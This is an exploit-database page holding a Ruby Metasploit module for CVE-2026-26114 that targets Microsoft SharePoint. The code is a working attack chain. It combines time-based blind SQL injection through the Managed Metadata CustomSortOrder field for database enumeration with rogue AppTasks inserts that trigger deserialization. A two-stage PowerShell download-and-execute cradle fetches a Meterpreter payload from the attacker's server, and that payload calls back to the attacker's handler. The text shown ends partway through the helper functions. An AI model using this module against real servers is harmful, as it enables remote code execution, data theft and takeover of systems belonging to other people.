Exploit databaseDownload repository ZIP
GH-e0d29d5cde38b55b6e333ef4b19aef75
huynambka/cve-2026-26114-poc
Sources for CVE-2026-26114
2 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars.
Repository files1
huynambka/cve-2026-26114-pocRevision e01b3948db57
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
modules/exploits/windows/http/sharepoint_cve_2026_2614.rb
Ruby · 45,487 bytes# frozen_string_literal: true
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
require 'base64'
require 'cgi'
require 'json'
require 'ostruct'
require 'securerandom'
require 'rex/zip'
class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking
MODULE_VERSION = '0.9.35'
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HttpServer
include Msf::Exploit::EXE
include Msf::Exploit::Powershell
DEFAULT_TASK_TYPE = 'Microsoft.SharePoint.Lifecycle.FinalFixupTask, Microsoft.SharePoint, Version=16.0.0.0, Culture=neutral, PublicKeyToken=71e9bce111e9429c'
TAXONOMY_SESSION_TYPEID = '{981cbc68-9edc-4f8d-872f-71146fcbb84f}'
BLANK_WSP_B64 = 'TVNDRgAAAAABAgAAAAAAACwAAAAAAAAAAwEBAAMAAACxFQAAlAAAAAEAAQBpAQAAAAAAAAAAX0FafCAAbWFuaWZlc3QueG1sAEoAAABpAQAAAABfQVp8IABjb250ZW50c1xlbGVtZW50cy54bWwAmAEAALMBAAAAAF9BWnwgAGNvbnRlbnRzXGZlYXR1cmUueG1sANNjRSVlAUsDQ0udkU9vgkAQxe9N+h0I92VBViIGTSRC2kQvav8celmXoW4CLGWXYNL0uxdEjFiSJsKFHeb93uw8byuSUnGRacc0yeT0KPlMPyiVTzGuqsqobEMUn3hkmhZ+X6+27AApRTyTimYMdO3xQbs8HSH6n9AXdjM810rTCe1waQfItH0fkbEdIX9JQuQSYlmBTxY+8QdsL5byxJdGylkhpIiVwUSK5YEWkAueKazPG7EXAlVlAWua8RikkvMWeVvXVoLRZraZzkSmIFPyI25bjNpY13CLwwM8D3cXaw5BAmkjv2deD3fq5nC20pp1fbum40zGMEEspjYisbtHrulGyGYjB2JwJ0DIT29hO64SmOkLxkBKbQdpnlDVj3IJkhU8b+9923jV98SjCOqW3eYl6AFeoZAnsWWYzdv7uWUirwd4g32vvIGvkhewASnKorYcwN4X9Xl3f6K+qV9F3W27H/EA55J7/f0L'
def initialize(info = {})
super(
update_info(
info,
'Name' => 'Microsoft SharePoint CVE-2026-26114 Taxonomy SQLi AppLifecycle Deserialization RCE',
'Description' => %q{
This module ports the repository PoC for CVE-2026-26114 to Metasploit.
The exploit authenticates to SharePoint, abuses the Managed Metadata / Taxonomy
CustomSortOrder SQL injection primitive to insert a committed rogue AppJobs/AppTasks
pair into the content database, then calls the normal SharePoint LoadAndInstallApp
endpoint to wake the AppLifecycle timer pipeline. OWSTIMER.EXE eventually pulls the
rogue task and calls Microsoft.SharePoint.Lifecycle.Task.SetSerializedTaskState(Stream),
which uses NetDataContractSerializer.ReadObject(stream) on attacker-controlled TaskData.
Two-stage delivery to keep each TaskData small (a big stageless payload blows past
the CustomSortOrder SQLi INSERT limit):
Task 1 - small NDCS gadget runs "powershell iwr http://SRVHOST:SRVPORT/URI -o C:\\Users\\Public\\<exe>"
served by the module's own HTTP server (this module).
Task 2 - small NDCS gadget runs "powershell & C:\\Users\\Public\\<exe>" once the EXE
has been downloaded. The EXE is the configured Meterpreter payload, which
calls back to the framework handler (LHOST:LPORT) and opens a session.
},
'Author' => [
'huynambka',
'Nam Nguyen',
'OpenAI Codex'
],
'License' => MSF_LICENSE,
'References' => [
['CVE', '2026-26114'],
['URL', 'https://github.com/huynambka/cve-2026-26114/tree/main/poc']
],
'DisclosureDate' => '2026-03-10',
'Platform' => 'win',
'Arch' => [ARCH_X64, ARCH_X86],
'Targets' => [
[
'Windows PowerShell', {
'Arch' => [ARCH_X64, ARCH_X86],
'Type' => :win_powershell,
'DefaultPayload' => 'windows/x64/meterpreter/reverse_tcp',
'Payload' => { 'Space' => 8000 }
}
]
],
'DefaultTarget' => 0,
'DefaultOptions' => {
'RPORT' => 80,
'SSL' => false,
'WfsDelay' => 120
},
'Privileged' => true,
'Notes' => {
'Stability' => [CRASH_SAFE],
'SideEffects' => [ARTIFACTS_ON_DISK, IOC_IN_LOGS],
'Reliability' => [REPEATABLE_SESSION]
}
)
)
register_options([
OptString.new('USERNAME', [true, 'SharePoint user. Local (sp_user1) or DOMAIN\\user (sp19\\sp_user1)', '']),
OptString.new('PASSWORD', [true, 'Password for USERNAME', '']),
OptString.new('DOMAIN', [false, 'NetBIOS domain for NTLM (e.g. sp19). Set if auth fails with bare USERNAME', '']),
OptAddress.new('SRVHOST', [true, 'Local host for the payload HTTP server (reachable from target)']),
OptPort.new('SRVPORT', [true, 'Local port for the payload HTTP server', 8080]),
OptString.new('URIPATH', [false, 'URI path that serves the payload EXE', Rex::Text.rand_text_alpha_lower(8)]),
OptString.new('EXEDIR', [true, 'Remote writable dir to drop the payload EXE', 'C:\\Users\\Public']),
OptString.new('EXENAME', [false, 'Remote payload EXE filename', "#{Rex::Text.rand_text_alpha_lower(6)}.exe"])
])
register_advanced_options([
OptString.new('TARGETURI', [true, 'Base path to the SharePoint web application', '/']),
OptBool.new('AUTO_DISCOVER', [true, 'Auto-discover taxonomy/site/database metadata', true]),
OptString.new('TAXONOMY_STORE_ID', [false, 'Managed Metadata TermStore GUID']),
OptString.new('TAXONOMY_GROUP_ID', [false, 'Managed Metadata Group GUID writable by USERNAME']),
OptString.new('SITE_ID', [false, 'Target SPSite GUID']),
OptString.new('WEB_ID', [false, 'Target SPWeb GUID']),
OptInt.new('JOB_CREATOR_ID', [false, 'SharePoint UserInfo Id for AppJobs.JobCreatorId', 0]),
OptString.new('TASK_TYPE', [true, 'SharePoint Lifecycle Task type', DEFAULT_TASK_TYPE]),
OptInt.new('SQL_TIMEOUT', [true, 'Timeout for taxonomy SQLi ProcessQuery', 300]),
OptInt.new('WAIT_SECONDS', [true, 'WAITFOR seconds for blind checks', 5]),
OptInt.new('POLL_COUNT', [true, 'Number of trigger/confirm polls', 24]),
OptInt.new('POLL_INTERVAL', [true, 'Seconds between polls', 5]),
OptInt.new('EXTRACT_THREADS', [true, 'Parallel threads for blind SQLi string extraction. 1 = sequential', 6]),
OptString.new('APP_TITLE', [false, 'Title prefix for the temp app package']),
OptInt.new('DOWNLOAD_TIMEOUT', [true, 'Seconds to wait for the target to fetch the payload EXE', 120])
])
end
def check
res = send_contextinfo
return CheckCode::Unknown('No response from SharePoint contextinfo endpoint') unless res
return CheckCode::Unknown('Authentication failed or SharePoint returned 401') if res.code == 401
unless res.code == 200 && res.body.to_s.include?('GetContextWebInformation')
return CheckCode::Safe("Unexpected contextinfo response: HTTP #{res.code}")
end
if res.headers['MicrosoftSharePointTeamServices'] || res.body.to_s.include?('FormDigestValue')
return CheckCode::Detected('SharePoint contextinfo endpoint is reachable with supplied credentials')
end
CheckCode::Unknown('Authenticated, but SharePoint headers/body were not conclusive')
end
# --------------------------------------------------------------------------
# Two-stage exploit:
# Task 1: NDCS gadget -> powershell downloads the EXE from our HTTP server
# Task 2: NDCS gadget -> powershell runs the EXE -> Meterpreter callback
# --------------------------------------------------------------------------
def exploit
print_status("CVE-2026-26114 module v#{MODULE_VERSION} starting")
auto_discover_runtime_options! if datastore['AUTO_DISCOVER']
validate_required_runtime_options!
@stage2_ready = false
@payload_exe = generate_payload_exe
print_status("Generated payload EXE: #{@payload_exe.bytesize} bytes (#{datastore['PAYLOAD']})")
start_service
print_good("Payload HTTP server on http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{payload_uri}")
# --- Stage 1: deliver the download cradle as a small NDCS TaskData ---------
run_remote_powershell(download_cradle_command)
print_good('Stage 1 (download) staged; waiting for the target to fetch the payload EXE')
deadline = Time.now + datastore['DOWNLOAD_TIMEOUT'].to_i
until @stage2_ready || Time.now > deadline || session_created?
select(nil, nil, nil, 0.5)
end
unless @stage2_ready
fail_with(Failure::Unknown, "Target did not fetch the payload EXE within #{datastore['DOWNLOAD_TIMEOUT']}s. Check SRVHOST is reachable from target and SRVPORT is open.")
end
print_good('Payload EXE fetched by target; proceeding to stage 2 (execute)')
# --- Stage 2: deliver the execute command as a second small NDCS TaskData --
run_remote_powershell(execute_cradle_command)
print_good('Stage 2 (execute) staged. Waiting for Meterpreter session...')
handler_sleep = datastore['WfsDelay'].to_i
handler_sleep.times do |_i|
Rex.sleep(1)
break if session_created?
end
if session_created?
print_good('Session established.')
else
print_warning("No session within WfsDelay (#{handler_sleep}s). OWSTIMER may not have pulled stage 2 yet; re-run or keep the handler open.")
end
end
# Serve the payload EXE once; set the flag that unblocks stage 2.
def on_request_uri(cli, req)
vprint_status("HTTP request: #{req.uri} from #{cli.peerhost}")
if req.uri == payload_uri || req.uri.end_with?(payload_uri)
print_good("Serving payload EXE (#{@payload_exe.bytesize} bytes) to #{cli.peerhost}")
send_response(cli, @payload_exe, 'Content-Type' => 'application/octet-stream')
@stage2_ready = true
else
send_not_found(cli)
end
end
# Build + inject a single PowerShell command as a small NDCS TypeConfuseDelegate
# gadget via the taxonomy SQLi CustomSortOrder primitive, then trigger the
# AppLifecycle pipeline so OWSTIMER pulls it.
def run_remote_powershell(command)
gadget = "powershell -nop -w hidden -c \"#{command}\""
print_status("Building inline NDCS TypeConfuseDelegate payload (#{gadget.bytesize}-byte gadget)")
taskdata = generate_ndcs_payload(gadget)
print_status("NDCS TaskData length: #{taskdata.bytesize} bytes")
job_id = SecureRandom.uuid
task_id = SecureRandom.uuid
isolation_key = SecureRandom.uuid
sql = build_task_insert_sql(taskdata, job_id, task_id, isolation_key)
store_loot('sharepoint.cve_2026_26114.sql', 'text/plain', rhost, sql, 'insert_via_taxonomy_sqli.sql', 'CVE-2026-26114 AppJobs/AppTasks insert SQL')
print_status("Staging rogue AppJobs/AppTasks via taxonomy SQLi (JobId=#{job_id}, TaskId=#{task_id})")
res, elapsed = inject_sql(sql, datastore['SQL_TIMEOUT'])
fail_with(Failure::UnexpectedReply, 'No response from taxonomy SQLi request') unless res
fail_with(Failure::UnexpectedReply, "Taxonomy SQLi request failed: HTTP #{res.code}") unless res.code == 200
if process_query_error?(res)
# Expected: the Move/CommitAll wrapper fails AFTER the 3 INSERTs have
# already COMMIT'd. The ErrorInfo is from the termset move, not from our
# inserts. This is normal for the SQLi primitive and not a failure.
vprint_status("SQLi ErrorInfo (expected, inserts already committed): #{short_body(res)}")
end
print_good("SQLi batch returned HTTP 200 in #{format('%.3f', elapsed)}s")
trigger = trigger_load_and_install
if trigger[:ok]
print_good("LoadAndInstallApp accepted ProductId=#{trigger[:product_id]} (trigger OK)")
else
print_warning("LoadAndInstallApp trigger unavailable: #{trigger[:reason]}. OWSTIMER will pull on its normal schedule.")
end
end
# powershell iwr http://SRVHOST:SRVPORT/URI -UseBasicParsing -o C:\Users\Public\x.exe
def download_cradle_command
"iwr '#{stage_url}' -UseBasicParsing -o '#{remote_exe_path}'"
end
# powershell & C:\Users\Public\x.exe
def execute_cradle_command
"& '#{remote_exe_path}'"
end
def stage_url
uri = payload_uri
uri = '/' + uri unless uri.start_with?('/')
"http://#{datastore['SRVHOST']}:#{datastore['SRVPORT']}#{uri}"
end
def payload_uri
uri = datastore['URIPATH'].to_s
uri = '/' + uri unless uri.start_with?('/')
uri
end
def remote_exe_path
dir = datastore['EXEDIR'].to_s.chomp('\\').chomp('/')
"#{dir}\\#{datastore['EXENAME']}"
end
def ntlm_credentials
raw = datastore['USERNAME'].to_s.strip
domain = datastore['DOMAIN'].to_s.strip
if domain.empty?
if raw.include?('\\')
domain, user = raw.split('\\', 2)
elsif raw.include?('@')
user, domain = raw.split('@', 2)
else
user = raw
end
else
user = raw.split('\\').last.split('@').first
end
[domain, user]
end
def auth_hash
domain, user = ntlm_credentials
vprint_status("Authenticating as NTLM user=#{user.inspect} domain=#{domain.inspect}")
{
'preferred_auth' => 'NTLM',
'username' => user,
'password' => datastore['PASSWORD']
}.tap do |h|
h['domain'] = domain unless domain.to_s.empty?
end
end
def validate_required_runtime_options!
%w[USERNAME PASSWORD TAXONOMY_STORE_ID TAXONOMY_GROUP_ID SITE_ID WEB_ID].each do |option|
fail_with(Failure::BadConfig, "#{option} is required") if datastore[option].to_s.empty?
end
fail_with(Failure::BadConfig, 'JOB_CREATOR_ID is required') if datastore['JOB_CREATOR_ID'].to_i <= 0
end
def auto_discover_runtime_options!
print_status('Auto-discovery enabled; resolving runtime metadata')
if datastore['TAXONOMY_STORE_ID'].to_s.empty? || datastore['TAXONOMY_GROUP_ID'].to_s.empty?
info = discover_taxonomy_targets
datastore['TAXONOMY_STORE_ID'] = info.store_id if datastore['TAXONOMY_STORE_ID'].to_s.empty?
datastore['TAXONOMY_GROUP_ID'] = info.group_id if datastore['TAXONOMY_GROUP_ID'].to_s.empty?
print_good("Auto-discovered TAXONOMY_STORE_ID=#{datastore['TAXONOMY_STORE_ID']} TAXONOMY_GROUP_ID=#{datastore['TAXONOMY_GROUP_ID']} (#{info.store_name} / #{info.group_name})")
end
if datastore['SITE_ID'].to_s.empty?
datastore['SITE_ID'] = discover_site_id
print_good("Auto-discovered SITE_ID=#{datastore['SITE_ID']}")
end
if datastore['WEB_ID'].to_s.empty?
datastore['WEB_ID'] = discover_web_id
print_good("Auto-discovered WEB_ID=#{datastore['WEB_ID']}")
end
if datastore['JOB_CREATOR_ID'].to_i <= 0
datastore['JOB_CREATOR_ID'] = discover_current_user_id
print_good("Auto-discovered JOB_CREATOR_ID=#{datastore['JOB_CREATOR_ID']}")
end
datastore['CONTENT_DB'] = discover_content_db
print_good("Auto-discovered CONTENT_DB=#{datastore['CONTENT_DB']}")
end
def api_get_json(path_segments, vars_get = nil)
path_segments = Array(path_segments)
res = send_request_cgi({
'method' => 'GET',
'uri' => normalize_uri(target_uri.path, *path_segments),
'vars_get' => vars_get,
'headers' => {
'Accept' => 'application/json;odata=verbose'
}
}.merge(auth_hash), 30)
pretty_path = '/' + path_segments.join('/')
fail_with(Failure::Unreachable, "No response from #{pretty_path}") unless res
fail_with(Failure::NoAccess, "Authentication failed while requesting #{pretty_path}") if res.code == 401
fail_with(Failure::UnexpectedReply, "Unexpected #{pretty_path} HTTP #{res.code}: #{short_body(res)}") unless res.code == 200
JSON.parse(res.body)
rescue JSON::ParserError => e
fail_with(Failure::UnexpectedReply, "Could not parse JSON from #{pretty_path}: #{e.class}: #{e.message}")
end
def discover_site_id
api_get_json(%w[_api site], '$select' => 'Id').dig('d', 'Id') || fail_with(Failure::UnexpectedReply, 'Could not extract Site.Id via REST')
end
def discover_web_id
api_get_json(%w[_api web], '$select' => 'Id').dig('d', 'Id') || fail_with(Failure::UnexpectedReply, 'Could not extract Web.Id via REST')
end
def discover_current_user_id
user_id = api_get_json(%w[_api web currentuser]).dig('d', 'Id')
fail_with(Failure::UnexpectedReply, 'Could not extract current user id via REST') unless user_id
user_id.to_i
end
def discover_taxonomy_targets
stores = taxonomy_termstores
fail_with(Failure::NotFound, 'No taxonomy term stores were visible to the authenticated user') if stores.empty?
chosen = nil
stores.each do |store|
groups = taxonomy_groups(store[:id])
vprint_status("Store #{store[:name]} (#{store[:id]}) exposed #{groups.length} group(s)")
groups.each do |group|
next if group[:name].to_s.casecmp('System').zero?
next unless taxonomy_group_writable?(store[:id], group[:id])
chosen = OpenStruct.new(
store_id: store[:id],
store_name: store[:name],
group_id: group[:id],
group_name: group[:name]
)
break
end
break if chosen
end
return chosen if chosen
fail_with(Failure::NoAccess, 'Could not find any writable taxonomy group for the supplied credentials')
end
def taxonomy_termstores
xml = <<~XML
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="msf-cve-2026-26114">
<Actions>
<ObjectPath Id="10" ObjectPathId="2" />
<Query Id="11" ObjectPathId="2">
<Query SelectAllProperties="false"><Properties /></Query>
<ChildItemQuery SelectAllProperties="false">
<Properties>
<Property Name="Id" ScalarProperty="true" />
<Property Name="Name" ScalarProperty="true" />
</Properties>
</ChildItemQuery>
</Query>
</Actions>
<ObjectPaths>
<StaticMethod Id="1" Name="GetTaxonomySession" TypeId="#{TAXONOMY_SESSION_TYPEID}" />
<Property Id="2" ParentId="1" Name="TermStores" />
</ObjectPaths>
</Request>
XML
res, _elapsed = process_query(xml)
fail_with(Failure::UnexpectedReply, 'No response while enumerating taxonomy term stores') unless res
fail_with(Failure::UnexpectedReply, "Term store enumeration failed: HTTP #{res.code}") unless res.code == 200
fail_with(Failure::UnexpectedReply, "Term store enumeration returned ErrorInfo: #{short_body(res)}") if process_query_error?(res)
parse_process_query_json(res.body).filter_map do |entry|
next unless entry.is_a?(Hash) && entry['_ObjectType_'] == 'SP.Taxonomy.TermStoreCollection'
(entry['_Child_Items_'] || []).map do |store|
{
id: parse_guid_string(store['Id']),
name: store['Name'].to_s
}
end
end.flatten
end
def taxonomy_groups(store_id)
xml = <<~XML
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="msf-cve-2026-26114">
<Actions>
<ObjectPath Id="10" ObjectPathId="4" />
<Query Id="11" ObjectPathId="4">
<Query SelectAllProperties="false"><Properties /></Query>
<ChildItemQuery SelectAllProperties="false">
<Properties>
<Property Name="Id" ScalarProperty="true" />
<Property Name="Name" ScalarProperty="true" />
</Properties>
</ChildItemQuery>
</Query>
</Actions>
<ObjectPaths>
<StaticMethod Id="1" Name="GetTaxonomySession" TypeId="#{TAXONOMY_SESSION_TYPEID}" />
<Property Id="2" ParentId="1" Name="TermStores" />
<Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{#{store_id}}</Parameter></Parameters></Method>
<Property Id="4" ParentId="3" Name="Groups" />
</ObjectPaths>
</Request>
XML
res, _elapsed = process_query(xml)
fail_with(Failure::UnexpectedReply, "No response while enumerating taxonomy groups for store #{store_id}") unless res
fail_with(Failure::UnexpectedReply, "Group enumeration failed for store #{store_id}: HTTP #{res.code}") unless res.code == 200
fail_with(Failure::UnexpectedReply, "Group enumeration returned ErrorInfo: #{short_body(res)}") if process_query_error?(res)
parse_process_query_json(res.body).filter_map do |entry|
next unless entry.is_a?(Hash) && entry['_ObjectType_'] == 'SP.Taxonomy.TermGroupCollection'
(entry['_Child_Items_'] || []).map do |group|
{
id: parse_guid_string(group['Id']),
name: group['Name'].to_s
}
end
end.flatten
end
def taxonomy_group_writable?(store_id, group_id)
test_name = "M#{Rex::Text.rand_text_alpha(6)}"
termset_id = SecureRandom.uuid
xml = <<~XML
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="msf-cve-2026-26114">
<Actions>
<ObjectPath Id="10" ObjectPathId="6" />
<ObjectIdentityQuery Id="11" ObjectPathId="6" />
<Method Id="12" ObjectPathId="3" Name="CommitAll" />
</Actions>
<ObjectPaths>
<StaticMethod Id="1" Name="GetTaxonomySession" TypeId="#{TAXONOMY_SESSION_TYPEID}" />
<Property Id="2" ParentId="1" Name="TermStores" />
<Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{#{store_id}}</Parameter></Parameters></Method>
<Property Id="4" ParentId="3" Name="Groups" />
<Method Id="5" ParentId="4" Name="GetById"><Parameters><Parameter Type="Guid">{#{group_id}}</Parameter></Parameters></Method>
<Method Id="6" ParentId="5" Name="CreateTermSet">
<Parameters>
<Parameter Type="String">#{xml_escape(test_name)}</Parameter>
<Parameter Type="Guid">{#{termset_id}}</Parameter>
<Parameter Type="Int32">1033</Parameter>
</Parameters>
</Method>
</ObjectPaths>
</Request>
XML
res, elapsed = process_query(xml)
return false unless res&.code == 200
return false if process_query_error?(res)
vprint_status("Confirmed writable taxonomy group #{group_id} in #{format('%.3f', elapsed)}s")
true
rescue Msf::Exploit::Failed
false
end
def discover_content_db(preferred_name = nil)
preferred_name ||= 'SharePoint_Content_sp01'
if blind_condition_majority(content_db_condition(preferred_name), 4, samples: 3)
return preferred_name
end
print_status("Default content DB #{preferred_name} was not valid for SITE_ID=#{datastore['SITE_ID']}; enumerating accessible databases via blind SQLi")
db_names = enumerate_accessible_databases
fail_with(Failure::NotFound, 'No accessible non-system databases were visible through blind SQLi') if db_names.empty?
db_names.each_with_index do |db_name, idx|
print_status("Testing content DB candidate #{idx + 1}/#{db_names.length}: #{db_name}")
if blind_condition_majority(content_db_condition(db_name), 4, samples: 3)
return db_name
end
end
fail_with(Failure::NotFound, "Could not find a content DB containing AppTasks + Sites + SITE_ID=#{datastore['SITE_ID']}")
end
def content_db_condition(db_name)
db = "[#{mssql_identifier(db_name)}]"
site_id = sql_literal(datastore['SITE_ID'])
db_name_lit = sql_literal(db_name)
"(DB_ID('#{db_name_lit}') IS NOT NULL " \
"AND EXISTS(SELECT 1 FROM #{db}.sys.tables WHERE name='AppTasks') " \
"AND EXISTS(SELECT 1 FROM #{db}.sys.tables WHERE name='Sites') " \
"AND EXISTS(SELECT 1 FROM #{db}.dbo.Sites WHERE Id='#{site_id}'))"
end
def enumerate_accessible_databases
count_query = "(SELECT COUNT(*) FROM sys.databases WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1)"
db_count = blind_extract_int(count_query, 0, 64)
print_status("Blind-enumerating #{db_count} accessible non-system database(s)")
return [] if db_count <= 0
names = []
(1..db_count).each do |idx|
query = "SELECT name FROM (" \
"SELECT ROW_NUMBER() OVER (ORDER BY database_id) AS rn, name " \
"FROM sys.databases WHERE database_id > 4 AND state = 0 AND HAS_DBACCESS(name) = 1" \
") d WHERE rn = #{idx}"
db_name = blind_extract_string(query, max_len: 128, label: "db_name_#{idx}")
next if db_name.to_s.empty?
print_status("Discovered DB candidate #{idx}/#{db_count}: #{db_name}")
names << db_name
end
names
end
def blind_condition_majority(condition_sql, wait_seconds, samples: 3)
return blind_condition_true?(condition_sql, wait_seconds) if samples <= 1
hits = 0
samples.times do |i|
hits += 1 if blind_condition_true?(condition_sql, wait_seconds)
break if hits > samples / 2
break if samples - i - 1 + hits <= samples / 2
end
hits > samples / 2
end
def blind_condition_true?(condition_sql, wait_seconds = datastore['WAIT_SECONDS'])
res, elapsed = inject_sql("IF #{condition_sql} WAITFOR DELAY '00:00:#{format('%02d', wait_seconds)}'", [datastore['SQL_TIMEOUT'], wait_seconds + 30].max)
fail_with(Failure::UnexpectedReply, "Blind SQL condition probe returned HTTP #{res.code}") if res && res.code != 200
elapsed >= [wait_seconds - 1, 3].max
end
def blind_extract_string(query, max_len: 64, label: 'content_db', threads: datastore['EXTRACT_THREADS'] || 1)
expr = "COALESCE(CONVERT(nvarchar(4000), (#{query})), '')"
length = blind_extract_int("LEN(#{expr})", 0, max_len)
print_status("Blind-extract #{label}: LEN=#{length}")
return '' if length <= 0
if threads.to_i >= 2
blind_extract_string_parallel(expr, length, label, threads.to_i)
else
out = +''
(1..length).each do |position|
ascii = blind_extract_int("ASCII(SUBSTRING(#{expr}, #{position}, 1))", 1, 126)
out << ascii.chr
print_status("Blind-extract #{label}: #{out}")
end
out
end
end
def blind_extract_string_parallel(expr, length, label, thread_count)
print_status("Blind-extract #{label}: parallelizing #{length} positions across #{thread_count} threads")
results = Array.new(length, 0)
positions = (1..length).to_a
mutex = Mutex.new
done = { count: 0 }
require 'thread'
threads_arr = []
[thread_count, length].min.times do
threads_arr << Thread.new do
loop do
pos = mutex.synchronize { positions.shift }
break if pos.nil?
ascii = blind_extract_int("ASCII(SUBSTRING(#{expr}, #{pos}, 1))", 1, 126)
results[pos - 1] = ascii
c = mutex.synchronize { done[:count] += 1 }
print_status("Blind-extract #{label}: #{c}/#{length} chars (parallel)")
end
end
end
threads_arr.each(&:join)
out = results.map { |a| a.chr }.join
print_status("Blind-extract #{label}: #{out}")
out
end
def blind_extract_int(expr, min_value, max_value)
lo = min_value
hi = max_value
while lo < hi
mid = (lo + hi) / 2
condition = "#{expr} > #{mid}"
if blind_condition_majority(condition, datastore['WAIT_SECONDS'], samples: 3)
lo = mid + 1
else
hi = mid
end
end
lo
end
def parse_process_query_json(body)
JSON.parse(body)
rescue JSON::ParserError => e
fail_with(Failure::UnexpectedReply, "Could not parse ProcessQuery response JSON: #{e.class}: #{e.message}")
end
def parse_guid_string(raw)
raw.to_s[%r{/Guid\(([^)]+)\)/}, 1] || raw.to_s.delete('{}')
end
def send_contextinfo
send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '_api', 'contextinfo'),
'headers' => {
'Accept' => 'application/json;odata=verbose'
}
}.merge(auth_hash), 30)
end
def form_digest
res = send_contextinfo
fail_with(Failure::Unreachable, 'No response from /_api/contextinfo') unless res
fail_with(Failure::NoAccess, 'Authentication failed while requesting SharePoint form digest') if res.code == 401
fail_with(Failure::UnexpectedReply, "Unexpected contextinfo HTTP #{res.code}: #{short_body(res)}") unless res.code == 200
json = JSON.parse(res.body)
json.fetch('d').fetch('GetContextWebInformation').fetch('FormDigestValue')
rescue JSON::ParserError, KeyError => e
fail_with(Failure::UnexpectedReply, "Could not parse FormDigestValue from contextinfo response: #{e.class}: #{e.message}")
end
def process_query(xml, timeout = 240)
started = Process.clock_gettime(Process::CLOCK_MONOTONIC)
res = send_request_cgi({
'method' => 'POST',
'uri' => normalize_uri(target_uri.path, '_vti_bin', 'client.svc', 'ProcessQuery'),
'ctype' => 'text/xml',
'headers' => {
'X-RequestDigest' => form_digest
},
'data' => xml
}.merge(auth_hash), timeout)
elapsed = Process.clock_gettime(Process::CLOCK_MONOTONIC) - started
[res, elapsed]
end
def process_query_error?(res)
body = res.body.to_s
body.include?('"ErrorInfo":') && body !~ /"ErrorInfo"\s*:\s*null/
end
def create_termset(name)
5.times do |attempt|
termset_id = SecureRandom.uuid
xml = <<~XML
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="msf-cve-2026-26114">
<Actions>
<ObjectPath Id="10" ObjectPathId="6" />
<ObjectIdentityQuery Id="11" ObjectPathId="6" />
<Method Id="12" ObjectPathId="3" Name="CommitAll" />
</Actions>
<ObjectPaths>
<StaticMethod Id="1" Name="GetTaxonomySession" TypeId="#{TAXONOMY_SESSION_TYPEID}" />
<Property Id="2" ParentId="1" Name="TermStores" />
<Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{#{datastore['TAXONOMY_STORE_ID']}}</Parameter></Parameters></Method>
<Property Id="4" ParentId="3" Name="Groups" />
<Method Id="5" ParentId="4" Name="GetById"><Parameters><Parameter Type="Guid">{#{datastore['TAXONOMY_GROUP_ID']}}</Parameter></Parameters></Method>
<Method Id="6" ParentId="5" Name="CreateTermSet">
<Parameters>
<Parameter Type="String">#{xml_escape(name)}</Parameter>
<Parameter Type="Guid">{#{termset_id}}</Parameter>
<Parameter Type="Int32">1033</Parameter>
</Parameters>
</Method>
</ObjectPaths>
</Request>
XML
res, _elapsed = process_query(xml)
fail_with(Failure::UnexpectedReply, 'CreateTermSet failed: no response') unless res
if res.code == 401
fail_with(Failure::NoAccess, 'Authentication failed (401) during CreateTermSet')
elsif res.code != 200
fail_with(Failure::UnexpectedReply, "CreateTermSet #{name} failed: HTTP #{res.code} #{short_body(res)}")
end
if process_query_error?(res) && res.body =~ /already exists/i
vprint_warning("TermSet name #{name} collision (attempt #{attempt + 1}/5); retrying with a new random name")
name = "Ts#{Rex::Text.rand_text_alphanumeric(12)}"
next
end
if process_query_error?(res)
fail_with(Failure::UnexpectedReply, "CreateTermSet #{name} returned ErrorInfo: #{short_body(res)}")
end
vprint_status("CreateTermSet #{name} #{termset_id} -> HTTP #{res.code}")
return termset_id
end
fail_with(Failure::UnexpectedReply, 'CreateTermSet failed after 5 name-collision retries; clean up leftover temp TermSets and retry.')
end
def create_term(termset_id, name)
term_id = SecureRandom.uuid
xml = <<~XML
<Request xmlns="http://schemas.microsoft.com/sharepoint/clientquery/2009" SchemaVersion="15.0.0.0" LibraryVersion="16.0.0.0" ApplicationName="msf-cve-2026-26114">
<Actions>
<ObjectPath Id="10" ObjectPathId="4" />
<ObjectPath Id="11" ObjectPathId="5" />
<ObjectIdentityQuery Id="12" ObjectPathId="5" />
<Method Id="13" ObjectPathId="3" Name="CommitAll" />
</Actions>
<ObjectPaths>
<StaticMethod Id="1" Name="GetTaxonomySession" TypeId="#{TAXONOMY_SESSION_TYPEID}" />
<Property Id="2" ParentId="1" Name="TermStores" />
<Method Id="3" ParentId="2" Name="GetById"><Parameters><Parameter Type="Guid">{#{datastore['TAXONOMY_STORE_ID']}}</Parameter></Parameters></Method>
<Method Id="4" ParentId="3" Name="GetTermSet"><Parameters><Parameter Type="Guid">{#{termset_id}}</Parameter></Parameters></Method>
<Method Id="5" ParentId="4" Name="CreateTerm">
<Parameters>
<Parameter Type="String">#{xml_escape(name)}</Parameter>
<Parameter Type="Int32">1033</Parameter>
<Parameter Type="Guid">{#{term_id}}</Parameter>
</Parameters>
</Method>
</ObjectPaths>
</Request>
XML
res, elapsed = process_query(xml)
fail_with(Failure::UnexpectedReply, "CreateTerm #{name} failed: no response") unless res
fail_with(Failure::UnexpectedReply, "CreateTerm #{name} failed: HTTP #{res.code} #{short_body(res)}") unless res.code == 200
fail_with(Failure::UnexpectedReply, "CreateTerm #{name} returned ErrorInfo: #{short_body(res)}") if process_query_error?(res)
vprint_status("CreateTerm #{name} #{term_id} -> HTTP #{res.code} in #{format('%.3f', elapsed)}s")
term_id
end
